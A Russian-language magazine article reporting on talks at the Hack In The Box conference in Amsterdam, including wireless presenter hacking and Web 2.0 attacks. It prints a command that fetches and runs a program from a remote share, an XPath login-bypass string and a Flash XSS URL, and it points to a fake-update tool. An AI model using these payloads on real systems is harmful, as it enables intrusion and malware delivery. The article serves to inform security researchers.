В этой статье я поведаю тебе об одной очень хорошей и известной конференции – Hack In The Box. В ней ты узнаешь, что происходит на таких конференциях, кто выступает с докладами, а также что творится помимо докладов... Ну и, конечно же, узнаешь много новых и интересных хакерских методик, любезно отобранных для тебя из элитных выступлений.

 

Вперед!

Итак, начнем с того, что наша исследовательская лаборатория в составе двух человек, таких как я и всем известный мой коллега, Алексей Синцов, с двумя разными докладами была приглашена на конференцию Hack In The box в Амстердаме. Событие на самом деле знаковое, так как по факту никто из русских исследователей (имею в виду живущих в России) на столь значимых конференциях не выступал, кроме, разве что, Криса Касперски, но кто-то же, в конце концов, должен рассказать всему миру, что в России живут не только Блекхаты, но и интеллигентные и образованные этичные хакеры, чем мы собственно и занимаемся на международных конференциях, коих уже было посещено немало. И все они произвели довольно приятные впечатления, за исключением естественно вечных шуток про русских хакеров, и что русским неплохо бы вообще закрыть доступ в интернет (слова Микко Хайпонена из Fsecure, произнесенные на конференции T2 в Финляндии), что уже порядком поднадоело, ибо за державу-то обидно.

Путешествие было с пересадкой в Германии, откуда я прямиком на поезде направился в Амстердам, где удалось комфортно поработать и доделать свою презентацию, так как, естественно, все лучшее делается в последний момент. В очередной раз замечаю, что организаторы конференций выбирают для их проведения интересные места (Амстердам, Лас-Вегас, Дубай) и еще не скупятся на места проведения, так что все очень на высоком уровне, хоть и конференции некоммерческие.

Итак, хватит вводных слов, лучше посмотрим, кто же выступал на конференции, и пройдемся по наиболее интересным, на мой взгляд, докладам. Те, что я не осветил, ты всегда можешь скачать в интернете и разобраться в них самостоятельно, более того – архив со всеми докладами прилагается к диску. На конференции выступали такие специалисты, как Антон Чувакин (независимый консультант, бывший работник Qualys), Laurent Outdot (директор компании TETHRI Security), Федор Ярочкин (наш соотечественник, эмигрировавший в 2000-х в Тайланд, и автор знаменитой XProbe), Saomuil Shah (из NetSquare) и, конечно же, представители DSecRG. Итак, начнем с более общего описания докладов, самые интересные из которых мы в конце рассмотрим подробнее.

 

Обо всем понемногу

Конференция началась со вступительного слова Антона Чувакина, известного эксперта в области безопасности, специализирующегося на вопросах PCI DSS и лог-мэнеджмента. В докладе была освещена его любимая тема – соответствие стандартам и реальная безопасность. Его мессадж был в том, чтобы, наконец, начать строить мосты между двумя разными подходами: Compliance First и Security First. Еще один наш соотечественник, Федор Ярочкин, автор известной утилиты X-Probe и, по совместительству, просто классный парень, рассказывал о русских блекхатах и криминалах, объясняя по ходу презентации, что значат такие термины, как картон, дроп и прочее. Для нас, конечно, все это не ново, но европейцам, видать, было очень интересно.

К сожалению, эту я презентацию пропустил, так как сам в это время был на параллельном треке – рассказывал про безопасность ERP-систем на примере SAP, показывая, как легко можно через клиентов SAP получить доступ к корпоративным секретам компании, используя нашу тулзу – sapsploit. Помимо этого мне также удалось дать небольшое интервью для BBC Radio1 о безопасности ERP, но это уже совсем другая история.

Кроме презентации про русских криминалов Федор также рассказывал о новой версии своего старого детища – Xprobe-NG. Для тех, кто в танке, или уже успел позабыть, рассказываю. XProbe в олдскульные времена была культовой программой, используемой для удаленного определения версии ОС, качественно отличаясь от того же Nmap количеством посылаемых пакетов (в меньшую сторону, что очень даже важно при анализе больших подсетей). В новой версии появилось множество нововведений, и вот часть из них:

  1. Определение не только ОС, но и различных девайсов, таких как кэширующие системы, прозрачные прокси, ханипоты, виртуальные машины, свичи, системы обнаружения и предотвращения вторжений, файерволы уровня приложений и даже хосты, реализующие спуфинг атаку;
  2. Определение версии ОС на основе приложений и корреляция данных;
  3. Поддержка IPv6;
  4. Улучшенный движок, минимизирующий необходимое количество посылаемых пакетов.

В целом звучит неплохо, жаль только, что не все эти нововведения доступны, поскольку еще находятся в разработке. Будем надеяться на их скорейшее появление, пожелаем удачи Федору и не забываем заглядывать на сайт его проекта – http://xprobe.sourceforge.net.

Нельзя не отметить моего коллегу, Алексея Синцова, который собрал немало народу на своем выступлении, описывая особенности написания шеллкода для метода JitSpray, в итоге в разы увеличив скорость его работы, а также показав, что это проблема не только Flash, но и любого JIT-компилятора. Кроме того, он продемонстрировал (почти успешно 🙂 атаку на последнюю версию JIT-компилятора в браузере Apple Safari. Подробности ты можешь прочитать в предыдущем номере. От себя добавлю, что бессонные ночи над этой презентацией были проведены Алексеем не зря – народу действительно понравилось.

Следующий доклад, о котором хотелось бы рассказать, назывался «How to rate the security of closed source software», и рассказывал его один мой знакомый, Michael Thumann из компании ERNW. Этот доклад я приметил еще на конференции Troopers, когда он был рассказан впервые. Идея его такова: представь себе, что тебе необходимо оценить безопасность и уровень доверия для крупного проекта. Реально крупного проекта, к примеру, порядка тысячи бинарников. Необходимо ответить на вопрос: можем ли мы доверять этой программе обработку наших критичных данных? Стандартные подходы, такие как фаззинг, реверс-инжиниринг и сандбоксинг, не подходят – слишком ресурсоемко, и требует обученного персонала. Что же делать? Ответ прост – в качестве альтернативы предлагается использовать различные метрики, получая в результате по всем проверкам некий общий индекс под названием Thumann’s Trustworthiness Index. Остается только разобраться, какие метрики использовать. Автор предлагает следующие:

  • Проверка использования в библиотеке DEP (разработано);
  • Проверка использования в библиотеке ASLR (разработано);
  • Проверка использования в библиотеке SafeSEH (разработано);
  • Проверка версии линковщика (разработано);
  • Проверка, скомпилирована ли библиотека с опцией /GS (в разработке);
  • Проверка, используется ли упаковщик (в разработке);
  • Проверка на использование небезопасных функций (в разработке);
  • Проверка на использование сетевых функций (в разработке);
  • Проверка на обращение к реестру (в разработке);
  • Проверка на создание файлов (в разработке);
  • Проверка на наличие подписи кода (в разработке);
  • Прочие проверки.

Прелесть заключается в том, что докладчик представил тулзу, которая осуществляет ряд этих проверок и выдает сводный индекс доверия к анализируемой программе. Утилита запускается очень просто, достаточно указать ей директорию, и она выдаст результат по всем файлам. В качестве подопытного была проанализирована папка браузера Firefox. Результат получился смешанным – часть библиотек имеют высокий уровень доверия и скомпилированы с использованием DEP и ASLR, а часть – нет. На них, собственно, и стоит обратить внимание на следующем, уже более глубоком этапе анализа безопасности софтины, так как, найдя в них уязвимость, эксплуатировать ее будет гораздо проще. В общем, неплохая получилось утилита, жаль только, что пока немного проверок включено, но, будем надеяться, что в скором времени она продолжит свое развитие.

 

Загадочная коробка

Следующая лекция, которую у меня получилось посетить, была о новом устройстве под названием kane-box, о котором поведал ее разработчик, John Kanen Flowers. Устройство представляет собой систему обнаружения вторжений, а точнее – даже смесь роутера, IDS/IPS, да еще и с возможностью анализа беспроводных сетей. Казалось бы, ничего нового, но вся система основана на OpenSource, включая приложение, операционную систему и даже железо. Да-да, термин open source hardware появился недавно и стремительно набирает обороты. Смысл в том, что производитель выпускает базовые элементы девайса, которые ты можешь собрать в любых комбинациях, потратив на это гораздо меньше денег, чем на покупку готового варианта. Так и с kane-box, который представляет собой небольшую коробочку размером меньше точки доступа и аппаратной начинкой, как в Cisco PIX (по заявлениям разработчика). И все это за $250 (с поддержкой WiFi – $300), если покупать напрямую у разработчика. В случае самостоятельной сборки и установки получится еще дешевле.

Очень удобное решение для маленьких компаний, особенно для тех, которым необходимо соответствовать PCI DSS, а финансы ограничены. Кроме того, есть версия elite под серверную стойку с несколькими сетевыми интерфейсами, которая одновременно представляет собой маршрутизатор, корпоративный файервол и систему обнаружения/предотвращения вторжений стоимостью в $1250.

Наконец, несколько слов о том, как это работает. Разработчики полностью отказались от сигнатурного метода и реализовали чисто поведенческий движок. При запуске система строит модель текущей сети и запоминает, как она работает в нормальном режиме. После того, как система обучилась, она может определить, какой трафик хороший, а какой плохой, исходя из своих знаний о существующих атаках и о твоей сети. Система обучения основана на экспертных системах, базах знаний и теореме Байеса. Подобные эксперименты я проводил еще в институте – обучал систему обнаружения вторжений при помощи нейронных сетей, и, надо сказать, это неплохо работало. Так что желаем успехов создателю и ждем первых образцов, которые должны появиться в продаже с 16 августа. Надеюсь все то, что было заявлено, будет реально работать, хотя недоверять автору вроде как не с чего – он был основателем небезызвестной компании nCircle и автором оригинального движка сканера Ncircle Suite 360. В двух словах – это не очередной студент с академическим буллшитом . Те, кто заинтересовался, могут узнать подробнее об этой коробочке на kane-box.com.

 

Поглумись над Стивом Джобсом

Многим понравился доклад исследователя Niels Teusink (да простят меня редакторы, но я не стану коверкать имена транслитом) под названием «Hacking Wireless Presenters». Опять-таки, до теории возможной атаки, наверное, догадывался не один исследователь, но этот парень осуществил ее на практике, изучив протокол и соорудив специализированный девайс. Смысл в том, что, если с помощью презентационной указки можно выполнять различные действия с монитором, то почему бы не сэмулировать эти действия своим устройством, посылая аналогичные сигналы. В качестве примера был продемонстрирован следующий набор команд, посланный на компьютер:

[Win+R]
cmd /c net use x: http://10.1.1.1/x&x:x
[Enter]

Таким образом он заставил пользовательский компьютер открыть окно запуска команд, примонтировать сетевой диск и выполнить с него вредоносную программу. Вживую это выглядело довольно шокирующе. Кроме того, как указал в одном из последних слайдов исследователь, с беспроводным мышками теоретически возможна та же история, но он не проверял. Как знать, может быть, ты станешь первым, кто это сделает? 🙂 Между делом мы решили проверить радиус действия мышки, и выяснилось, что на расстоянии пяти метров она работает стабильно. Вот почему я всегда пользуюсь тачпадом.

 

Web in The Middle

Следующий интересный доклад, «Web in The Middle», был от Laurent Oudot из компании Tehtri Security. В докладе он описывал различные атаки, которые можно проводить на клиентов, сосредоточившись на HTTP-протоколе. Под «клиентами» он имел в виду различные устройства: от ноутбуков и КПК до смартфонов, айфонов и новомодного айпада. Итак, первое, что делает атакующий при нападении на клиента – это разведка. Представь себе, что ты перехватываешь общение клиента с каким-либо веб-сервисом, и трафик зашифрован при помощи SSL. Казалось бы, шансы узнать информацию о клиенте в таком случае минимальны, но они есть. Один из примеров – браузер Mozilla периодически отправляет информацию о своей версии на сайт производителя по нешифрованному каналу вот таким вот запросом, что я, кстати, не раз замечал, пользуясь всеми любимой Tamperdata:

http://live.mozillamessaging.com/%APP%/
whatsnew?locale=%LOCALE%&version=%VERSION
%&os=%OS%&buildid=%APPBUILDID%

Thunderbird тоже светит версию:

http://live.mozillamessaging.com/thunderbird/start?
locale=en&version=3.0.4&os=Darwin&buildid=20100317134139

Не говоря уже о продуктах Apple во время работы с iWork и iLife:

apple.com/welcomescreen/ilife09/iphoto/
apple.com/welcomescreen/iwork09/numbers/
apple.com/welcomescreen/iwork09/keynote/
apple.com/welcomescreen/iwork09/pages/
– "GET /welcomescreen/iwork09/pages HTTP/1.1 »
– "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us)
AppleWebKit/533.16 (KHTML, like Geck

Один из возможных вариантов атаки после такой разведки – это подсовывание клиенту ложных обновлений, если они осуществляются по небезопасному протоколу. К счастью, эта задача уже решена до нас в утилите ISR-evilgrade (infobyte.com.ar/down/isr-evilgrade-Readme.txt), написанной командой Infobyte Security Research. Утилита поддерживает подмену обновлений для следующих продуктов:

  • Java plugin;
  • Winzip;
  • Winamp;
  • MacOS;
  • OpenOffices;
  • iTunes;
  • Linkedin Toolbar;
  • DAP [Download Accelerator];
  • Notepad++;
  • speedbit.

Помимо этого она имеет API для написания собственных модулей. Приятно, что кто-то такие идеи воплощает в жизнь, и они реально работают, причем не только в вымышленной академической среде, а в суровых боевых условиях. Кстати, как раз в момент написания статьи разработчик анонсировал новую версию своей утилиты, которая, вероятнее всего, будет готова, когда ты будешь читать эти строки.

В качестве одной из контрмер предлагается использовать настройку для Firefox – eff.org/https-everywhere. Напоследок докладчик рассказал о целом списке 0-day уязвимостей, найденном их компанией в популярных девайсах, таких как Iphone, HTC, Blackberry и, конечно, IPad. Уязвимость нулевого дня в браузере Safari под Ipad была продемонстрирована прямо на презентации на новеньком Ipad. Кстати, буквально через неделю после конференции были опубликованы подробности множества 0-day под различные девайсы от автора презентации.

 

Десятка наиболее опасных атак на Web 2.0

Те, кто дочитал до этого раздела – молодцы, потому что напоследок я припас самое сладкое. Как бывшему фанату веб-атак и всего, что с ними связано, мне было очень интересно посмотреть, что же такого мог придумать Shreeraj Shah, директор компании BlueInfy, в рамках уже порядком изъезженной темы атак на Web 2.0. Как выяснилось позже, доклад получился действительно полезным, и, хотя большинство из атак были известны ранее, представленные тулзы для их автоматизации оказались очень даже интересными. Итак, список десяти популярных Web 2.0 атак на 2010 год выглядит следующим образом:

  1. Dom based XSS – Ajax;
  2. SQL injection – SOAP & XML;
  3. Blind SQL over JSON;
  4. Auth Bypass-XPATH and LDAP;
  5. Business Logic Bypass;
  6. Decompilation Attack and Info Leakage;
  7. WSDL scanning and API exposure – Cloud;
  8. XSS with Flash;
  9. CSRF with XML;
  10. Widgets/Mashup Exploitation.

Изучим наиболее интересные моменты.

1. Начнем с первой атаки – межсайтовый скриптинг через DOM. Тема не новая, но набирающая обороты в связи с наплывом Web 2.0 и повсеместным использованием в Ajax-приложениях следующих методов, в которые можно внедрить злонамеренный JavaScript-код:

document.write(…)
document.writeln(…)
document.body.innerHtml=…
document.forms[0].action=…
document.attachEvent(…)
document.create…(…)
document.execCommand(…)
document.body. …
window.attachEvent(…)
document.location=…
document.location.hostname=…
document.location.replace(…)
document.location.assign(…)
document.URL=…
window.navigate(…)

Если список-то, в принципе, известен, то тулза DOMScan, которая автоматизирует поиск Dom-based XSS для меня была нова – раньше как-то все, в основном, делал руками. Подробно описать функционал не хватит места, а заинтересовавшиеся могут скачать тулзу с blueinfy.com/DOMScan.zip и попробовать самостоятельно.

2. Обход авторизации через X-Path. Само по себе ни чем не отличается от попсовой SQL-инъекции в окошке ввода логина и пароля, за исключением того, что на серверной стороне у нас не SQL, а Xpath с другим синтаксисом. Но для простейших атак, таких как обход авторизации, даже синтаксис такой же, так что наверняка кто-либо из вас проводил эту атаку, даже сам не подозревая о том, что это, на самом деле, не просто SQL-инъекция. Предположим, в коде у нас присутствует такая строка:

string credential =
"//users[@username='"+user+"' and
@password='"+pass+"']";

В результате банальной последовательности ' or 1=1 or ''=‘, поданной на вход, мы получим доступ к системе от лица первого юзера в списке, коим обычно является администратор.

3. Декомпиляция и XSS через Flash. Для декомпиляции SWF-файлов, как ни странно, можно воспользоваться утилитой SWF decompiller. Для чего нам декомпилировать код? Ну, к примеру, для того, чтобы найти в нем больше уязвимостей. Предположим, в процессе декомпиляции мы обнаружили следующую строку:

on (release) {
getURL (_root.clickTAG, "_blank");
}

Этот код получает на вход параметр clickTAG, и не проводит его анализ на валидность. Таким образом, обратившись по следующей ссылке

http://url/to/flash-file.swf?clickTAG=javascript:alert('xss')

В качестве защиты можно использовать такую конструкцию:

on (release) {
if (_root.clickTAG.substring(0,5)== "http:" || _root.clickTAG.substring(0,6)== "https:" || _root.clickTAG.substring(0,1)== "/") {
getURL (_root.clickTAG, "_blank");
}
}

Дополнительную информацию по данной теме можно почерпать из докладов:

OWASP Flash Security Project
«Blinded by flash» (slides as pdf) by Prajakta Jagdalen – Blackhat DC 2009
«Neat, New, and Ridiculous Flash Hacks» by Mike Bailey – Blackhat DC 2010
«A Lazy Pen Tester's Guide to Testing Flash Applications»

4. WSDL Scanning. WSDL. Web Service Discovery Language – язык описания веб-сервисов, основанный на языке XML. Представляет собой XML-файл особенного формата, в котором определяется вид отправляемых и получаемых сервисом XML-сообщений, а также список операций, выполняемых над сообщениями, и способ, которым сообщение будет доставлено. Это очень критичная информация, которая может помочь при дальнейших атаках. Для поиска веб-сервисов и их файлов описаний можно воспользоваться гуглом, используя следующие запросы:

Inurl:wsdl

Inurl:asmx

Для упрощения данных атак можно использовать утилиту wsScanner, которая помогает получить формат XML-сообщений, которые удобно посылать на сервер, получая ответы, и, что самое главное, модифицировать посылаемые запросы, используя различные фаззинг-методы. В общем, тулза очень юзабельная; до ее выпуска приходилось использовать множество других, не слишком удобных утилит.

5. CSRF with XML. Как только не извращались с уязвимостью CSRF, придумывая все новые и новые подвиды (например, CSFU – Cross site file upload или межсайтовая загрузка файлов). К примеру, в админке сайта есть функционал загрузки файлов, реализуемый через GET/POST-запрос, а мы подсовываем админу ссылку, которая выполняет данные действия, загружая необходимый нам файл. Неудивительно, что, используя XML-протокол, можно также организовывать СSRF-атаки, причем зачастую в XML-запросах отсутствует проверка источника. Подробнее об этой атаке можно почитать тут: pentestmonkey.net/blog/csrf-xml-post-request/.

В докладе также использовались различные утилиты для упрощения анализа Web 2.0 проектов:

  • DOMScan (Beta) – тулза для анализа DOM-модели сайта на предмет выявления XSS-уязвимостей, трассировки кода и поиска логических ошибок.
  • DOMTracer (Beta) – плагин для Firefox, осуществляющий трассировку DOM у Web 2.0 сайтов.
  • Binging(Beta) – навороченная система получения информации о сайте и его поддоменах (и наоборот). Основана на API Bing.
  • Web2Fuzz (Beta) – прокси фаззер, заточенный под разбор и модификацию JSON и XML-протоколов.
  • Web2Proxy (Beta) – аналогичная утилита, только без возможности модификации, реализующая доскональный анализ Web 2.0 трафика.
  • AppPrint (Beta) – утилита, реализующая фингерпринтинг серверных приложений, установленных на сервисе. Запустив ее, к примеру, на всеми любимый сервис Vkontakte.ru, мы получим следующую информацию: веб-сервер nginx/0.7.59 и Microsoft-IIS/7.0, используемый Web 2.0 движок – script.aculous.
  • AppCodeScan 1.2 – утилита для поиска уязвимостей в исходных кодах приложения.

В общем, если кому интересна данная тема – на сайте автора есть информация о трех его книгах и множество другой полезной инфы по взлому Web 2.0, включая курсы, которые он проводит на различных конференциях, таких как HITB, Blackhat и прочие.

 

И еще!

Кроме всего прочего на конференции была стойка HitbJob, где каждый мог зарегистрироваться, оставить о себе необходимую информацию, пройти ряд тестов и, возможно, получить работу в какой-нибудь международной компании. Кстати, там даже была стойка компании Google, и они тоже нуждаются в светлых умах. Для тех, кто ни на секунду не может оторваться от взлома, были устроены соревнования из серии «Capture the flag», где команды соревновались между собой в искусстве взлома и защиты. Еще одна интересная особенность крупных конференций в том, что обычно первые два дня на них идут мастер-классы, на которых специалисты в своих областях проводят обучение других пентестеров.

Наконец, нельзя не отметить грандиозную вечеринку по поводу окончания конференции, проводимую на корабле, плавающем по каналам Амстердама. Так что хочу поблагодарить организаторов, и надеюсь на скорую встречу в Малайзии!

Check Also

Фундаментальные основы хакерства. Мастер-класс по анализу исполняемых файлов в IDA Pro

В этой статье мы окунемся в глубокий и подробный статический анализ с помощью IDA Pro — св…

Оставить мнение